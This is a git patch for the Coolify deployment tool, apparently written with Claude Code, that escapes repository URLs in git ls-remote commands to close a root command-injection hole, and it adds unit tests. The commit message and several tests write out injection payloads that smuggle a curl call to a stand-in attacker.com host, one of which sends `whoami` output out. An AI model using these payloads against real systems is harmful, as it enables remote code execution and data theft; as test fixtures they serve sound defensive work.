From 8f8c90b7ae8da113c63315c2e5b6f1bf81da1964 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 15 Oct 2025 14:53:50 +0200 Subject: [PATCH] fix: prevent command injection in git ls-remote operations MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit **Security Fix: Command Injection Vulnerability** This commit addresses a critical command injection vulnerability in the `generateGitLsRemoteCommands` method that could allow low-privileged users (team members) to execute arbitrary commands as root on the Coolify instance. **Vulnerability Details:** - Affected deployment types: `deploy_key` and `source` (GithubApp) - Attack vector: Malicious git repository URLs containing shell metacharacters - Impact: Remote code execution as root - Example payload: `repo.git';curl attacker.com/$(whoami)` **Changes Made:** 1. **deploy_key deployment type** (Application.php:1111-1112): - Added proper escaping for `$customRepository` in git ls-remote commands - Uses `str_replace("'", "'\\''", ...)` to escape single quotes for bash -c context - Wraps repository URL in single quotes to prevent interpretation of shell metacharacters 2. **source deployment type with GithubApp** (Application.php:1067-1086): - Added `escapeshellarg()` for all repository URL variations - Covers both public and private repositories - Handles both Docker and non-Docker execution contexts 3. **Added comprehensive unit tests** (tests/Unit/ApplicationGitSecurityTest.php): - Tests for deploy_key type command injection prevention - Tests for source type with public repos - Tests for other type (already fixed in previous commit) - Validates that malicious payloads are properly escaped **Note:** The `other` deployment type was already fixed in commit b81baff4b. This commit completes the security fix for all deployment types. **Technical Details:** The fix accounts for the `executeInDocker()` wrapper which uses `bash -c '...'`. When commands are executed inside `bash -c` with single quotes, we must escape single quotes as `'\''` to prevent the quotes from closing prematurely and allowing shell injection. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- app/Models/Application.php | 21 +++-- tests/Unit/ApplicationGitSecurityTest.php | 101 ++++++++++++++++++++++ 2 files changed, 116 insertions(+), 6 deletions(-) create mode 100644 tests/Unit/ApplicationGitSecurityTest.php diff --git a/app/Models/Application.php b/app/Models/Application.php index 33c1b7fc4..28ea17db2 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1064,18 +1064,24 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ $source_html_url_scheme = $url['scheme']; if ($this->source->getMorphClass() == 'App\Models\GithubApp') { + $escapedCustomRepository = escapeshellarg($customRepository); if ($this->source->is_public) { + $escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}"); $fullRepoUrl = "{$this->source->html_url}/{$customRepository}"; - $base_command = "{$base_command} {$this->source->html_url}/{$customRepository}"; + $base_command = "{$base_command} {$escapedRepoUrl}"; } else { $github_access_token = generateGithubInstallationToken($this->source); if ($exec_in_docker) { - $base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; - $fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; + $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; + $escapedRepoUrl = escapeshellarg($repoUrl); + $base_command = "{$base_command} {$escapedRepoUrl}"; + $fullRepoUrl = $repoUrl; } else { - $base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; - $fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; + $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; + $escapedRepoUrl = escapeshellarg($repoUrl); + $base_command = "{$base_command} {$escapedRepoUrl}"; + $fullRepoUrl = $repoUrl; } } @@ -1100,7 +1106,10 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ throw new RuntimeException('Private key not found. Please add a private key to the application and try again.'); } $private_key = base64_encode($private_key); - $base_comamnd = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} {$customRepository}"; + // When used with executeInDocker (which uses bash -c '...'), we need to escape for bash context + // Replace ' with '\'' to safely escape within single-quoted bash strings + $escapedCustomRepository = str_replace("'", "'\\''", $customRepository); + $base_comamnd = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'"; if ($exec_in_docker) { $commands = collect([ diff --git a/tests/Unit/ApplicationGitSecurityTest.php b/tests/Unit/ApplicationGitSecurityTest.php new file mode 100644 index 000000000..3603b18db --- /dev/null +++ b/tests/Unit/ApplicationGitSecurityTest.php @@ -0,0 +1,101 @@ +makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('deploy_key'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => $maliciousRepo, + 'port' => 22, + ]); + + // Mock private key + $privateKey = Mockery::mock(PrivateKey::class)->makePartial(); + $privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key'); + $application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey); + + // Act: Generate git ls-remote commands + $result = $application->generateGitLsRemoteCommands($deploymentUuid, true); + + // Assert: The command should contain escaped repository URL + expect($result)->toHaveKey('commands'); + $command = $result['commands']; + + // The malicious payload should be escaped and not executed + expect($command)->toContain("'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'"); + + // The command should NOT contain unescaped semicolons or backticks that could execute + expect($command)->not->toContain('repo.git;curl'); +}); + +it('escapes malicious repository URLs in source type with public repo', function () { + // Arrange: Create a malicious repository name + $maliciousRepo = "user/repo';curl https://attacker.com/"; + $deploymentUuid = 'test-deployment-uuid'; + + // Mock the application + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => $maliciousRepo, + 'port' => 22, + ]); + + // Mock GithubApp source + $source = Mockery::mock(GithubApp::class)->makePartial(); + $source->shouldReceive('getAttribute')->with('html_url')->andReturn('https://github.com'); + $source->shouldReceive('getAttribute')->with('is_public')->andReturn(true); + $source->shouldReceive('getMorphClass')->andReturn('App\Models\GithubApp'); + + $application->shouldReceive('getAttribute')->with('source')->andReturn($source); + $application->source = $source; + + // Act: Generate git ls-remote commands + $result = $application->generateGitLsRemoteCommands($deploymentUuid, true); + + // Assert: The command should contain escaped repository URL + expect($result)->toHaveKey('commands'); + $command = $result['commands']; + + // The command should contain the escaped URL (escapeshellarg wraps in single quotes) + expect($command)->toContain("'https://github.com/user/repo'\\''"); +}); + +it('escapes repository URLs in other deployment type', function () { + // Arrange: Create a malicious repository URL + $maliciousRepo = "https://github.com/user/repo.git';curl https://attacker.com/"; + $deploymentUuid = 'test-deployment-uuid'; + + // Mock the application + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('other'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => $maliciousRepo, + 'port' => 22, + ]); + + // Act: Generate git ls-remote commands + $result = $application->generateGitLsRemoteCommands($deploymentUuid, true); + + // Assert: The command should contain escaped repository URL + expect($result)->toHaveKey('commands'); + $command = $result['commands']; + + // The malicious payload should be escaped (escapeshellarg wraps and escapes quotes) + expect($command)->toContain("'https://github.com/user/repo.git'\\''"); +});